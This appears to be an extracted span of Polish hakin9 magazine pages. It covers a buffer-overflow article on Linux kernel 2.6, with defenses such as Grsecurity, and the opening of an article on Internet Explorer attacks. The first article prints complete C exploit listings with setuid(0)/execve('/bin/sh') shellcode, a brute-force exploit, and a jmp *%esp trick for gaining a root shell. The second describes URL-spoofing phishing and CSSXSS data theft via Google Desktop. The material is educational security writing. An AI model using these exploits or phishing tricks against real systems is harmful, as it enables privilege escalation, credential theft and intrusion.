\x

31

\x

c0

\x

31

\x

db

\x

b0

\x

06

\x

cd

\x

80

\x

53

\x

68

\x

2f

\x

74

\x

74

\x

79

\x

68

\x

2f"

"

\x

64

\x

65

\x

76

\x

89

\x

e3

\x

31

\x

c9

\x

66

\x

b9

\x

12

\x

27

\x

b0

\x

05

\x

cd

\x

80"

// setuid(0)

"

\x

31

\x

c0

\x

31

\x

db

\x

b0

\x

17

\x

cd

\x

80"

// execve("/bin/sh")

"

\x

eb

\x

17

\x

5e

\x

31

\x

c0

\x

88

\x

46

\x

07

\x

89

\x

76

\x

08

\x

89

\x

46

\x

0c

\x

b0

\x

0b"

"

\x

89

\x

f3

\x

8d

\x

4e

\x

08

\x

31

\x

d2

\x

cd

\x

80

\x

e8

\x

e4

\x

ff

\x

ff

\x

ff

\x

2f

\x

62"

"

\x

69

\x

6e

\x

2f

\x

73

\x

68"

;

main

()

{

   

char

 

buff

[

BUFF_LEN

];

   

char

 

env_var

[

ENV_LEN

];

   

char

 

*

env

[

2

]

 

=

 

{

env_var

NULL

}

;

   

int

 

*

p

i

r

pid

;

  

 // Wypełnij zmienną środowiskową ShellCodem poprzedzonym komendami NOP

   

memset

(

env_var

NOP

ENV_LEN

);

   

memcpy

(

env_var

 

+

 

ENV_LEN

 

-

 

strlen

(

shellcode

)

 

-

 

1

shellcode

strlen

(

shellcode

));

   

env_var

[

ENV_LEN

 

-

 

1

]

 

=

 

0

;

  

 // Wypełnij bufor adresem, w którym mamy nadzieję znaleźć komendy NOP

   

p

 

=

 

(

int

 

*)

 

buff

;

   

for

(

i

 

=

 

0

;

 

i

 

<

 

BUFF_LEN

;

 

i

+=

4

)

 

   

{

      

*

p

 

=

 

RET

;

      

p

++;

   

}

   

*

p

 

=

 

0

;

  

 // Rozpoczynamy atak bruteforce

   

printf

(

"Starting Bruteforce:

\n

"

);

   

r

 

=

 

1

;

  

 // Pętla, trwająca póki proces potomny nie zwróci kodu wyjścia = 0

   

while

(

r

 

!=

 

0

)

   

{

      

pid

 

=

 

fork

();

      

if

 

(

pid

 

!=

 

0

)

         

{

        

 // Proces rodzica

        

 // Oczekuje na koniec procesu potomnego, by odczytać kod wyjścia

         

printf

(

"."

);

background image

hakin9 Nr 2/2007

www.hakin9.org

Obrona

40

lizować  kod  assemblera  dla  funk-
cji 

main()

.

Jak podnieść poziom 

zabezpieczeń?

To  oczywiste,  że  zabezpieczenia 
oferowane  przez  kernel  2.6  vanil-
la  nie  są  wystarczające,  by  sys-
tem  uznać  za  bezpieczny,  nieza-
leżnie  od  jakości  zainstalowanego 
software'u. By zagwarantować wy-
soki poziom bezpieczeństwa syste-
mu, nawet przeciwko nowopowsta-
łym  exploitom  (ang.  0-day  explo-

its),  np.  kodom  wykorzystującym 
luki  nie  znane  jeszcze  publicznie, 
należy  zaimplementować  dodatko-
we  zabezpieczenia.  Wystarczy  je-
den  wpis  w  internetowej  wyszuki-
warce,  aby  dojść  do  wniosku,  że 
takie  zabezpieczenia  już  istnieją, 
i  mogą  zostać  podzielone  na  dwie 
grupy.  Pierwszy  typ,  to  rozszerze-
nia do kompilatorów: w tym wypad-
ku  cały  software  w  systemie  musi 
zostać  przekompilowany,  by  kry-
tyczne  zabezpieczenia  zostały  za-
implementowane  do  kodu  każdej 
z aplikacji. Drugi typ zabezpiecze-
nia, to łatka (ang. patch) do kerne-
la i wymaga jedynie jego rekompila-
cji. Ten typ zabezpieczenia jest nie-
wątpliwie szybszy w implementacji 
i pewniejszy.

Warto  rozważyć  dwa  z  tych 

zabezpieczeń,  które  są  z  pewno-
ścią  najbardziej  efektywne.  Pierw-
sze z nich, to ExecShield, stworzo-
ne przez Red Hat i już obecne we 
wszystkich  nowych  wersjach  dys-
trybucji  opartych  na  systemie  Red 
Hat (Red Hat Enterprise Linux i Fe-
dora).  Drugie  z  narzędzi  nosi  na-
zwę  Grsecurity.  Obydwie  aplikacje 
modyfikują  jądro  Linuxa,  dodając 
zabezpieczenia.  Mimo,  że  narzę-
dzia  te  różnią  się,  wykorzystują  w 
znacznej  mierze  podobne  techniki 
ochrony  przed  exploitowaniem  po-
datnych programów:

•   uniemożliwiają wykonywanie ko-

du  z  obszarów  pamięci,  w  któ-
rych  powinny  być  obecne  je-
dynie  dane  (stosy,  sterty  (ang. 

heaps),  BSSy  oraz  .data)  na-
wet w systemach, które nie ofe-

rują  wsparcia  hardware'owego 
do  wykonywania  operacji  bito-
wych.  Tym  sposobem,  niemoż-

liwe  jest  wykonanie  kodu  Shell-
Code  w  formie  pokazanej  w  ar-
tykule, bowiem opierają się one 

Listing 2b. 

Bruteforce-exp.c

         

fflush

(

stdout

);

         

waitpid

(

pid

&

r

0

);

         

}

      

else

         

{

        

 // Proces potomny

        

 // Uruchamia program podatny na atak i próbuje zastosować exploit.

        

 // Jeśli exploit działa przy zakańczaniu procesu, zwrócony zostaje 

kod wyjścia = 0. 

        

 // W innym przypadku, kod ma inną wartość.

         

execle

(

VULN_PROG

VULN_PROG

buff

NULL

env

);

         

exit

(

1

);

         

}

   

}

}

Listing 3. 

find-jmp-esp.c

/*
 *     __   ___   _
 *    /  \ |   \ | | /\---------------------------------------------------->
 *   / /\ \| |\ \| |/ /
 *  / /__\ \    /|   /         
 *  \______/ |\ \| | \         
 *<--------|_| \_\_|\_\       
 *
 * To narzędzie poszukuje instrukcji jmp *%esp wewnątrz sekcji linux-gate.so
 *
 */

#define START  0xffffe000 
#define END    0xfffff000 
#define B1     0xff
#define B2     0xe4

#include 

<stdio.h>

main

()

{

   

char

 

*

p

;

   

printf

(

"Szukam instrukcji jmp *%esp w pamięci:

\n

"

);

   

p

 

=

 

(

char

 

*)

 

START

;

   

while

 

(

p

 

<

 

(

char

 

*)

 

END

)

   

{

      

if

 

((

p

[

0

]

 

==

 

(

char

)

 

B1

)

 

&&

 

(

p

[

1

]

 

==

 

(

char

)

 

B2

))

         

{

         

printf

(

"ADDRESS = %p

\n

"

p

);

   

}

      

p

++;

   

}

}

background image

Przepełnianie buforu w kernelu 2.6

hakin9 Nr 2/2007

www.hakin9.org

41

na umieszczeniu kodu wewnątrz 
stosu  i  przekierowaniu  sekwen-
cji wykonywania poleceń na ten 
stos.  Ponieważ  zabezpiecze-
nie uniemożliwia wykonanie ko-
du znajdującego się w tych par-
tiach  pamięci,  jądro  zatrzymuje 
proces, zwracając błąd,

•   losowo  generują  adres  począt-

kowy  dynamicznych  bibliotek. 
Dzięki  temu,  nie  jest  możliwe 
przekierowanie  sekwencji  wy-
konywania  do  funkcji  bibliotecz-
nych  (np. 

system()

),  ponieważ 

podczas  wykonywania  podatnej 
na  atak  aplikacji,  ich  adres  się 
zmienia,

•   losowo  generują  adres  począt-

kowy  wykonywalnego  kodu.  W 
pewnych  przypadkach,  by  suk-
cesywnie  wykorzystać  lukę  w 
programie  na  wykonanie  explo-
ita, możliwe jest przekierowanie 
sekwencji wykonywania poleceń 

Listing 4a. 

Exp2.c

/*
 *     __   ___   _
 *    /  \ |   \ | | /\---------------------------------------------------->
 *   / /\ \| |\ \| |/ /
 *  / /__\ \    /|   /         
 *  \______/ |\ \| | \         
 *<--------|_| \_\_|\_\       
 *
 * Ten kod exploituje podatność na atak przez przepełnienie buforu pliku 

vuln.c na systemie

 * Linux z kernelem 2.6 vanilla. Zabezpieczenie losowania adresu stosu jest 

złamane dzięki

 * przekierowaniu wykonań do instrukcji jmp *%esp.
 *
 */

#include 

<stdio.h>

#include 

<string.h>

#include 

<unistd.h>

#

define

 

VULN_PROG

  

"./vuln"

#define BUFF_LEN   256
#define BUFF_OVER  36
#define START  0xffffe000
#define END    0xfffff000
#define B1     0xff
#define B2     0xe4

char

 

shellcode

[]=

// setuid(0)

"

\x

31

\x

c0

\x

31

\x

db

\x

b0

\x

17

\x

cd

\x

80"

// execve("/bin/sh")

"

\x

eb

\x

17

\x

5e

\x

31

\x

c0

\x

88

\x

46

\x

07

\x

89

\x

76

\x

08

\x

89

\x

46

\x

0c

\x

b0

\x

0b"

"

\x

89

\x

f3

\x

8d

\x

4e

\x

08

\x

31

\x

d2

\x

cd

\x

80

\x

e8

\x

e4

\x

ff

\x

ff

\x

ff

\x

2f

\x

62"

"

\x

69

\x

6e

\x

2f

\x

73

\x

68"

;

char

 

*

find_jmp_esp

()

{

   

char

 

*

p

;

   

printf

(

"Szukam instrukcji jmp *%esp wewnątrz pamięci...  "

);

   

p

 

=

 

(

char

 

*)

 

START

;

   

while

 

(

p

 

<

 

(

char

 

*)

 

END

)

   

{

      

if

 

((

p

[

0

]

 

==

 

(

char

)

 

B1

)

 

&&

 

(

p

[

1

]

 

==

 

(

char

)

 

B2

))

         

{

         

printf

(

"found at address %p

\n\n

"

p

);

         

return

 

p

;

        

}

      

p

++;

   

}

   

printf

(

"Instrukcji nie znaleziono, exploit nie może zostać zastosowany!

\

n\n

"

);

   

return

 

(

char

 

*)

 

-

1

;

}

main

()

{

   

char

 

buff

[

BUFF_LEN

];

   

int

 

*

p

i

ret

;

  

 // Znajdujemy adres instrukcji jmp *%esp 

   

ret

 

=

 

(

int

)

 

find_jmp_esp

();

   

if

 

(

ret

 

==

 

-

1

)

 

return

 

-

1

;

  

 // Wypełnij pierwszą część buforu

   

memset

(

buff

, 'a', 

BUFF_OVER

);

  

 // Nadpisz rekord aktywujący adresem instrukcji jmp *%esp.

  

p

 

=

 

(

int

 

*)

 

(

buff

 

+

 

BUFF_OVER

);

   

*

p

 

=

 

ret

;

   

O Autorze

Enrico Feresin ma stopień Informaty-
ka i pracuje od wielu lat w obszarze 
zabezpieczeń IT. Jest autorem książ-
ki Linux vulnerabilities. Practical gu-
ide  through  explointing  techniques

opublikowanej we Włoszech pod ko-
niec 2005 roku. Obecnie pracuje dla 
dużej firmy ICT.

W Sieci

•   h t t p : / / w w w . p h r a c k . o r g/

show.php?p=49&a=14  –  Modyfi-
kacja  stosów  dla  zabawy  i  zysku, 
klasyczny artykuł stanowiący wpro-
wadzenie do przepełnień buforów,

•   http://www.orkspace.net/software/

libShellCode – oficjalna witryna lib-
ShellCode,

•   http://packetstormsecurity.org/

papers/unix/asmcodes-1.0.2.pdf 
UNIX Assembly Codes Develop-
ment  for  Vulnerabilities  Illustration 
Purposes
,  artykuł,  opisujący  jak 
stworzyć ShellCode,

•   http://www.grsecurity.net  –  oficjal-

na strona Grsecurity,

•   http://www.kernel.org  –  oficjalne 

archiwum The Linux Kernel.

background image

hakin9 Nr 2/2007

www.hakin9.org

Obrona

42

do kodu już obecnego wewnątrz 
aplikacji.  Ponieważ  adres  kodu 
zmienia  się  podczas  każdego 
uruchomienia  procesu,  nie  jest 
już  możliwe  odgórne  ustalenie 
odpowiedniego adresu do prze-
kierowania,

•   losowo generują adres początko-

wy  stosu.  Niektóre  exploity  uży-
waja stosów do przetrzymywania 

danych,  których  będą  potrzebo-
wać  później,  wiedząc,  że  adres 
danych  jest  łatwy  do  odgadnię-
cia. Dzięki losowej generacji po-
czątkowych  adresów  stosu,  nie 
jest to już możliwe,

•   losowo  generują  adres  począt-

kowy stert. Podobnie, jak w przy-
padku  stosów,  tak  w  przypadku 
stert,  możliwe  jest  przetrzymy-

wanie  pewnych  danych  pomoc-
nych  exploitowi  w  późniejszym 
działaniu.  Tworząc  trudny  do 
odgadnięcia  adres  dla  tych  da-
nych  upewniamy  się,  że  pamięć 
nie zostanie wykorzystana w taki 
sposób.

Jednoczesne  użycie  powyższych 
technik  zabezpieczających  (które 
nie  są  jedynymi  dostępnymi,  jed-
nak to one grają kluczową rolę) ofe-
ruje  wysoki  poziom  bezpieczeń-
stwa. Korzystanie z błędów, czy luk 
w systemie (jak przepełnienie bufo-
ra, błędne formaty ciągów itp.), sta-
je  się  niezmiernie  trudne,  o  ile  nie 
niemożliwe.

Czytelnicy  chcący  skorzystać  z 

ExecShield,  będą  musieli  zainsta-
lować dystrybucję Linuxa opartą na 
Red Hat (Red Hat Enterprise lub Fe-
dora).

Jeżeli  chcemy  natomiast  spraw-

dzić  działanie  Grsecurity,  będziemy 
musieli  zainstalować  patch  do  źró-
deł  kernela  i  przekompilować  go. 
Po  pobraniu  źródeł  kernela  z  wi-
tryny  http://www.kernel.org  oraz 
patcha  Grsecurity  ze  strony  http:

//www.grsecurity.net, podążaj za in-
strukcjami  przedstawionymi  na  Li-
stingu  5.  Upewnij  się,  że  pobierasz 
wersję patcha odpowiednią dla wer-
sji  Twojego  jądra.  W  naszym  przy-
padku,  kernela  2.6.14.6,  pobieramy 
patch 2.1.8.

Po  zakończeniu  wykonywa-

nia instrukcji widocznych na Listin-
gu 5, będziemy musieli skonfiguro-
wać jądro, by aktywować Grsecuri-
ty. Rysunek 5 pokazuje panel kon-
figuracyjny  jądra  w  sekcji  Securi-

ty  options.  Po  wybraniu  podme-
nu  Grsecurity,  a  następnie  Secu-

rity  Level,  będziemy  mogli  ustawić 
poziom zabezpieczeń, jaki chcemy 
aktywować  na  naszym  systemie. 
Bardziej zaawansowani użytkowni-
cy  mogą  wybrać  opcję  custom  le-

vel  i  określić  wszystkie  parametry 
zabezpieczeń ręcznie. Po wprowa-
dzeniu  zmian  powinniśmy  zrekom-
pilować  jądro  i  uruchomić  ponow-
nie system. l

Listing 4b. 

Exp2.c

  

 // Zniszcz bufor.

   

p

++;

   

*

p

 

=

 

0

;

  

 // Wprowadź ShellCode.

   

memcpy

(

p

shellcode

strlen

(

shellcode

));

  

 // Uruchom podatny na atak program.

   

printf

(

"Próbuję uzyskać shella jako root...

\n

"

);

   

execle

(

VULN_PROG

VULN_PROG

buff

NULL

NULL

);

}

Listing 5. 

Instrukcje instalacji Grsecurity w źródłach jądra

# tar xfj linux-2.6.14.6.tar.bz2
# mv linux-2.6.14.6 linux-2.6.14.6-grsec

# gunzip grsecurity-2.1.8-2.6.14.6-200601211647.patch.gz

# cd linux-2.6.14.6-grsec

patch

 

-

p1

 

<

 ../

grsecurity

-

2.1

.

8

-

2.6

.

14.6

-

200601211647.

patch

           

Rysunek 5. 

Konfiguracja Grsecurity

background image
background image

www.hakin9.org

hakin9 Nr 2/2007

44

Atak

N

a  początek  warto  wspomnieć  o  tym 
co  działo  się  do  tej  pory  z  obecnym 
synonimem internetu, bo to wcale nie 

od niego się zaczęło. Zaczęło się bowiem od 
przeglądarki  WorldWideWeb  (Rysunek  1.) 
napisanej około roku 1990, oraz Silversmith, 
której niektóre z funkcji do tej pory nie zosta-
ły  zaimplementowane  w  żadnej  z  obecnych 
przeglądarek.  Przed  spopularyzowaniem  IE 
triumfy  święciły  także  ViolaWWW  i  NCSA 
Mosaic, która w pewien sposób przekształci-
ła się ostatecznie w legendarnego Netscape 
Navigatora.  To  właśnie  Netscape  Navigator 
dał  początek  Mozilli,  która  powstała  na  ba-
zie jego silnika. 

Poprzez podzielenie Mozilli i wyodrębnie-

nie jedynie przeglądarki WWW stworzono Fi-
refoxa, który wydaje się być obecnie najwięk-
szym  konkurentem  IE.  Ponieważ  zauważy-
łem,  że  coraz  więcej  młodych  ludzi  nie  ko-
jarzy  przyczyn  sukcesu  przeglądarki  Micro-
softu, kojarząc za to, że nie był on pierwszą 
przeglądarką  i  nie  zawsze  był  przeglądarką 
najpopularniejszą,  muszę  powiedzieć  jed-
ną rzecz. Sukces IE jednoznacznie kojarzo-
ny  jest  z  sukcesem  systemu  Windows.  Sta-
tystyki  jednoznacznie  pokazują,  że  popular-

ność przeglądarki rosła z popularnością sys-
temu z Redmond. 

Największy  skok  odnotowuje  się  tu  przy 

Windows95 z którym to przeglądarka zosta-
ła  zintegrowana.  Można  tu  jeszcze  wspo-
mnieć  o  głośnych  procesach  w  stanach  od-
nośnie stopnia integracji IE z Windows 98 i o 
tym, że proces dotyczył niemożności usunię-
cia  przeglądarki  z  systemu  tak  jak  normal-
nych programów. To tyle w kwestii wyjaśnie-
nia i wstępu.

Hakownie Internet Explorer

Krzysztof Kozłowski

stopień trudności

Jedno z pytań, które z biegu zostaną przez czytelników Hakin9u 

zaliczone do grupy retorycznych, jest pytanie o to która z 

przeglądarek jest przeglądarką najdelikatniejszą. 

I choć powiedzenie „wszystko co piękne jest delikatne” do 

niedawna nie miało zupełnie żadnego odniesienia w stosunku do 

najpopularniejszej przeglądarki na świecie, dziś to się zmienia.

Z artykułu dowiesz się...

•   o zagrożenieniach IE 7,
•   w  jaki  sposób  omijać  zagrożenia  w  Internet 

Explorer 7,

•   o przejmowaniu kontroli nad filtrem krytycznych 

wyjątków.

Powinieneś wiedzieć...

•   powinieneś  posiadać  podstawową  wiedzę  na 

temat zagrożeń płynących z Internetu,

•   powinieneś  posiadać  wiedzę  o  postawowych 

systemach zabespieczeń w Internecie.

background image

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

45

Teoria

Internet Explorer 3 był pierwszą z po-
pularnych  przeglądarek  obsługują-
cych CSS, ze wsparciem dla ActiveX, 
apletów Javy. To dało mu przewagę 
nad Netscape Navigatorem.

Przeglądarka używa zone-based 

security  framework  co  sprowadza 
się  do  grupowania  stron  wg.  pew-
nych  kryteriów.  W  zamierzeniach 
ma to zapobiegać wykonywaniu się 
niepożądanych  funkcji  (Rysunek  8). 
Aplikacja  monitoruje  każde  żądanie 
instalacji  dzięki  czemu  dopóki  użyt-
kownik  nie  potwierdzi  źródła  jako 
bezpiecznego, system będzie moni-
tował żądaniem potwierdzenia.

W  Windows  Vista  IE7  posiada 

tryb  chroniony  -  Protected  Mode,  w 
trybie tym, przeglądarka działa nawet 
z  mniejszymi  prawami  niż  użytkow-
nik, który ją uruchomił. Przeglądarka 
ma wówczas dostęp tylko do katalogu 
Temporary Internet Files, nie może in-
stalować  żadnego  oprogramowania, 
ani zmieniać konfiguracji bez porozu-
mienia z odpowiednim procesem sys-
temowym (broker process).

Delikatność  Internet  Explorera 

została  uznana  dzięki  dużej  ilości 
spyware, adware, czy wirusów wyko-
rzystujących IE jako furtkę do syste-
mu.  Czasem  wystarczyło  odwiedzić 
specjalnie  przygotowaną  stronę  by 
umożliwić  instalację  złośliwej  apli-

kacji  (Rysunek  8).  Po  stronie  złośli-
wego  oprogramowania  stała  także 
postawa  Microsoftu,  bardzo  wolno 
reagującego  na  zgłaszane  dziury 
bezpieczeństwa. Znacznie wolniej niż 
konkurencja.  Wykorzystywane  było 
to  przez  rzesze  script  kiddies  oraz 
całkiem dojrzałych programistów im-
plementujących  złośliwe  oprogramo-
wanie w większych aplikacjach.

Przykładem niech będą tutaj ba-

zy danych na temat bezpieczeństwa. 
Według Secunii od 28 maja tego roku 
na  104  dziury  w  Internet  Explorerze 

19  wciąż  pozostaje  niezałatanych. 
Wśród  nich  większość  oznaczona 
jest jako ekstremalnie krytyczne. Dla 
porównania, największy konkurent IE 
-  Mozilla  Firefox,  w  tym  czasie  miał 
zgłoszonych 36 dziur. Trzy wciąż po-
zostają niezałatane, a ich oznaczenie 
to najmniej krytyczne. Inny konkurent 
IE  –  czyli  Opera  ma  jedną  zgłoszo-
ną dziurę, która jest załatana. Nie ma 
żadnych niezałatanych dziur. W ma-
ju  2006,  magazyn  PC  World  ozna-
czył  Internet  Explorera  6  jako  naj-
gorszy produkt wszech czasów. Zna-
ny jest także fakt braku wsparcia dla 
standardów, co znacznie utrudnia pi-
sanie  aplikacji  webowych  kompaty-
bilnych z IE i innymi przeglądarkami. 
Problemem dla programistów MS by-
ło  nawet  dodanie  dobrego  wsparcia 
dla formatu .png. Do tej pory IE pozo-
stawiał także wiele do życzenia pod 
względem prędkości.

Szczegóły

Istnieje  wiele  znaczących  słabości 
i  dziur  w  technologiach  zaimple-
mentowanych w Internet Explorerze, 
a mających związek z modelem do-
men i stref bezpieczeństwa, lokalnego 
systemu plików (Local Machine Zone), 
dynamicznego HTML (DHTML), stron 
pomocy w HTML, rozpoznawania ty-
pów  MIME,  interfejsem  użytkownika 
(GUI), oraz ActiveX. Z uwagi na fakt, 
że  IE jest mocno zintegrowany z Win-

Rysunek 1. 

Pierwsza przeglądarka - World Wide Web

Rysunek 2. 

IE przygotowany przez MS dla Unixa

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

46

dows, często udany atak na przeglą-
darkę prowadzi do uzyskania dostępu 
do systemu operacyjnego.

Vista  przynosi  dwa  rozwiąza-

nia: mechanizm User Account Con-

trol,  który  zmusza  użytkownika  do 
potwierdzenia  każdej  akcji  mogącej 
mieć wpływ na bezpieczeństwo sys-
temu, nawet w przypadku pracy jako 
administrator  systemu  oraz  Protec-

ted-mode  IE,  dzięki  któremu  prze-
glądarka pracuje ze znacznie mniej-
szymi prawami niż użytkownik.

Duża część dziur bezpieczeństwa 

Internet  Explorera  związana  jest  za-
implementowanym modelem obiekto-
wym dla komponentów. (Component 
Object  Model  -  COM).  Wbudowanie 
COM w Internet Explorera przez me-
chanizm ActiveX czy Browser Helper 
Objects  (BHO)  otworzyło  szereg 
możliwości które stały się bramą dla 
wirusów, trojanów i infekcji spywaru.

Atak na słabości Internet Explo-

rera w celu przechwycenia informa-
cji o użytkowniku za pomocą Google 
Desktop.

Większa część czytelników praw-

dopodobnie jest ostrożna jeśli chodzi 
o  bardzo  popularny  trick  używany 
przez  spamerów  i  im  podobnych, 
którzy tworzą adresy URL z nazwa-
mi użytkownika, które wyglądają jak 
nazwy hostów, by sprawić by ludzie 
ufali niebezpiecznym stronom.

Na  przykład  http://www.microsoft

.com&session%123123123@krzysie

k.software.com.pl.  Ten  trick  używany 
jest  często  do  kradzieży  kont  typu 
paypal,  przez  oszukiwanie  użytkowni-
ków.  Wprowadza  ich  bowiem  w  błąd, 
że hasło zostało zresetowane, lub źle 
wpisane.  Komunikat  generowany  jest 
oczywiście przez stronę przygotowaną 
specjalnie w tym celu, a na którą adres 
przekierowuje. Użytkownik poinformo-
wany  o  tym,  że  hasło  należy  zmienić 
i że należy najpierw wpisać stare hasło 
może faktycznie to uczynić – dając tym 
samym je na tacy phisherowi.

Ulepszona  wersja  tego  ataku 

czyni  go  znacznie  bardziej  niebez-
piecznym  i  polega  na  wprowadze-
niu  wartości  0x01  po  symbolu  @ 
w  fałszywym  adresie.  Można  spra-
wić, że Internet Explorer nie będzie 
wcale  wyświetlał  reszty  adresu.  Na 
przykład:  http://www.microsoft.co-

m&session%123123123@0x01krzy-

siek.software.com.pl

W ogóle

Jakiś  czas  temu  odkryto  możliwość 
wykorzystania  Google  Desktop  do 
uzyskania    zdalnego  dostępu  do 
prywatnych  danych,  jak  numery 
kart  kredytowych  czy  hasła.  Można 
tego  dokonać  poprzez  odpowiednio 
przygotowaną  stronę  internetową. 
Dzięki  kilku  słabościom  projekto-
wym  Internet  Explorera  możliwe 
jest  tu  zmuszenie  odwiedzających 
do uruchomienia wyszukiwania pro-
wadzącego  na  strony  internetowe 
wykorzystujące te słabości. Na czym 
polegają te słabości i jak je wykorzy-
stać? Wystarczy IE w wersji 6, o co 
w  tej  chwili  nie  trudno  –  bo  jest  to 
najpopularniejsza  i  najaktualniejsza 
pełna wersja dostępna w momencie 
pisania  tego  artykułu.  Przyda  się 
także  Google  Desktop  w  wersji  v2, 
oczywiście  zainstalowany.  Można 
go przetestować za pomocą skryptu 
z Listingu 1. Co prawda Google za-
łatało juz swoje strony, jednak przy-
kład daje dobre wyobrażenie.

Rysunek 3. 

Internet Explorer 2.0

Rysunek 4. 

Internet Explorer 3.0

background image

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

47

W szczególe

Zwykle przeglądarki mają wbudowane 
silne restrykcje co do interakcji związa-
nych z kilkoma domenami. Odpowied-
nio przygotowana strona pozwala prze 
kierować  użytkownika  na  inny  adres. 
Nie może jednak sprawić by czytana 
była  jej  zawartość  lub  manipulowany 
był  jakikolwiek  obiekt  DOM.  To  ob-
ostrzenie  jest  dobrze  przetestowane, 
w  związku  z  czym  właściciel  strony 
nie  może  szpiegować  użytkownika 
surfującego po internecie za pomocą 
JavaScrtiptu.  Dodatkowo,  jeśli  użyt-
kownik jest już zalogowany do jakiejś 
usługi (gmail lub hotmail) to gdyby nie 
było  tych  zabezpieczeń,  odwiedzana 
strona  mogłaby  wykonywać  pewne 
operacje  na  koncie  użytkownika  (np. 
kasowanie wiadomości czy wysyłanie 
ich). W Internet Explorerze te zabez-
pieczenia  działają  dobrze,  dopóki  do 
gry nie wejdą importy CSS. Popular-
nie zwie się to atakami CSSXSS lub  
Cascading  Style  Sheets  Cross  Site 
Scripting.

Odpowiednio przygotowana stro-

na może zaimportować reguły CSS 
przy  użyciu  dyrektywy  @import.  IE 
ma  jeszcze  bardzo  wygodną  funk-
cję  dostępną  z  poziomu  javascrip-

tuaddImport która działa jak @im-

port  ale  w  środowisku  uruchomie-
niowym. Reguły CSS mogą później 
posłużyć  do  uzyskania  dostępu  do 

właściwości cssText w zestawie do-

cument.styleSheets.  Co  jednak  sta-
nie się jeśli strona zaimportuje URL, 
który  nie  jest  poprawnym  plikiem 
CSS? Otóż IE  pozwoli na przetwo-
rzenie CSS pozwalając tym samym 
na czytanie właściwości cssTex oraz 
zdalne czytanie kodu html który zo-
stał wczytany do reguł CSS. Ponie-
waż  reguły  CSS  wymagają  pewnej 
struktury dla odpowiedniej ilości ko-
du, może się on różnić w zależności 
od źródła strony. 

Reguły  CSS  determinują  wygląd 

stron i z reguły określają wybór, wła-
sność  i  wartości.  Własność  i  warto-
ści są oddzielane dwukropkiem i za-
mknięte  przez  nawiasy.  Na  przykład 
by pokolorować linki na stronie trze-
ba zdefiniować reguły CSS a {color: 

white}. W celu odzyskania kodu z da-
nego adresu, który dostarcza niepo-
prawny  kod  CSS,  strona  docelowa 
musi  zawierać  kilka  znaków  używa-
nych w CSS jak na przykład nawiasy. 
Na  szczęście  wiele  obecnych  stron 
zawiera je, ponieważ są one bardzo 
popularne w kodzie Javascript i regu-
łach CSS implementowanych na stro-
nach.  Jak  tylko  parser  CSS  Internet 
Explorera  trafi  na  odpowiednie  na-
wiasy,  spróbuje  on  odczytać  dane  i 
zinterpretować  dane  po  nich  wystę-
pujące.  Nawet  w  przypadku  gdy  te 
reguły  CSS  nie  będą  miały  dla  nie-
go żadnego sensu, IE wciąż będzie je 
interpretował i pozwoli obejrzeć je w 

cssText. Kombinacje nawiasów, dwu-
kropków i średników pozwala decydo-
wać, które kawałki kodu mogą zostać 
odczytane.

Podczas używania technik 

CSSXSS

 

atakujący z pewnością będzie w sta-
nie  uzyskać  kod  JavaScript.  Jed-
nak  może  dopomóc  szczęściu  po-
przez  wstrzykiwanie  znaków  CSS  w 
przestrzeń  docelową  adresu.  Ponie-
waż  wiele  stron  generowanych  jest 

Rysunek 5. 

Internet Explorer 4

Rysunek 6. 

Internet Explorer 6 z blokadą wyskakujących okienek

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

48

dynamicznie i dostaje parametry przez 
URL, wstrzykiwanie znaków jest zwy-
kle trywialnie proste. Mechanizm jest 
podobny do tego używanego w przy-
padku klasycznych ataków XSS, z tą 
różnicą,  że  tutaj  atakujący  wstrzyku-
je znaki, które przez większość stron 
uznawane są za nieszkodliwe.

Podobnie jak w przypadku więk-

szości  dziur  XSS,  błędy  projektowe 
Internet  Explorera  pozwalają  ataku-
jącemu  przechwycenie  prywatnych 
danych lub wykonanie odpowiednie-
go kodu na zdalnej maszynie. Różni-
ca w tym przypadku polega na tym, 
że strona wcale nie musi być podatna 
na wstrzykiwanie kodu. Wszystko co 
musi  zrobić  atakujący  to  skuteczne 
zaproszenie  ofiary  na  odpowiednio 
przygotowaną  stronę.  Tysiące  stron 
może zostać do tego użytych, a do-
datkowo nie ma łatwego rozwiązania 
chroniącego przed atakami, do póki 
IE  nie  zostanie  załatane.  Daje  to 
całkiem  sporą  liczbę  użytkowników 
podatnych na atak.

Podatność ta testowana była na 

w  pełni  spatchowanej  przeglądarce 
Microsoft  Internet  Explorer  w  wersji 
6, wcześniejsze najprawdopodobniej 
także  są  wrażliwe.  Dla  porównania 
Mozilla  Firefox  wydaje  się  prze-
strzegać  restrykcji  i  zachowywać  je 
w importach CSS co z kolei czyni ją 
odporną  na  tego  typu  ataki.  Opera 
nie  jest  wrażliwa,  ponieważ  nie  ob-
sługuje kolekcji styleSheets. Zabez-
pieczeniem dla użytkowników może 
być  wyłączenie  obsługi  Javascriptu 
w Internet Explorerze lub użycie in-
nej przeglądarki. 

Exploit 

dla Google Desktop

By  zademonstrować  co  można  zro-
bić  dzięki  opisanej  wyżej  słabości, 
przygotujemy  skrypt  exploitujący 
Google  Desktop  Search  (GDS)  do 
wyszukiwania  i  przechwytywania 
prywatnych  danych  użytkowników 
poprzez  zdalną  stronę.  Jednak  za-
nim  do  tego  przejdziemy  –  krótka 
charakterystyka  działania  mechani-
zmu GDS.

Google  Desktop  Search  to 

całkiem  użyteczny  kawałek  kodu, 
który  indeksuje  dane  użytkownika. 
Do  indeksowanych  danych  zalicza 
dokumenty,  maile,  arkusze  itd.  Po 
zindeksowaniu  użytkownik  może 
przeszukiwać  pliki  za  pomocą  in-
terfejsu  podobnego  do  tego  który 
posiada  wyszukiwarka  Google. 
Wyszukiwanie  realizowane  jest  za 
pomocą  serwera  http  zainstalowa-
nego na lokalnej maszynie. Serwer 
nasłuchuje na porcie 4664 i związa-

ny  jest  jedynie  z  lokalną  maszyną 
127.0.0.1,  co  uniemożliwia  nawią-
zanie  bezpośredniego  połączenia 
z zewnątrz.

Google dodało także dodatkowe 

zabezpieczenie, które uniemożliwia 
dostęp zewnętrznych stron do lokal-
nego  serwera  –  stąd  próby  explo-
itowania  dziur  XSS  raczej  się  nie 
powiodą. W celu uzyskania dostępu 
do interfejsu GDS generowany jest 
pseudo-losowo  klucz,  który  musi 
zostać  przekazany  jako  parametr 
w  adresie  URL.  Klucz  generowany 
jest  w  momencie  gdy  użytkownik 
klika  na  ikonę  GDS,  a  domyślna 
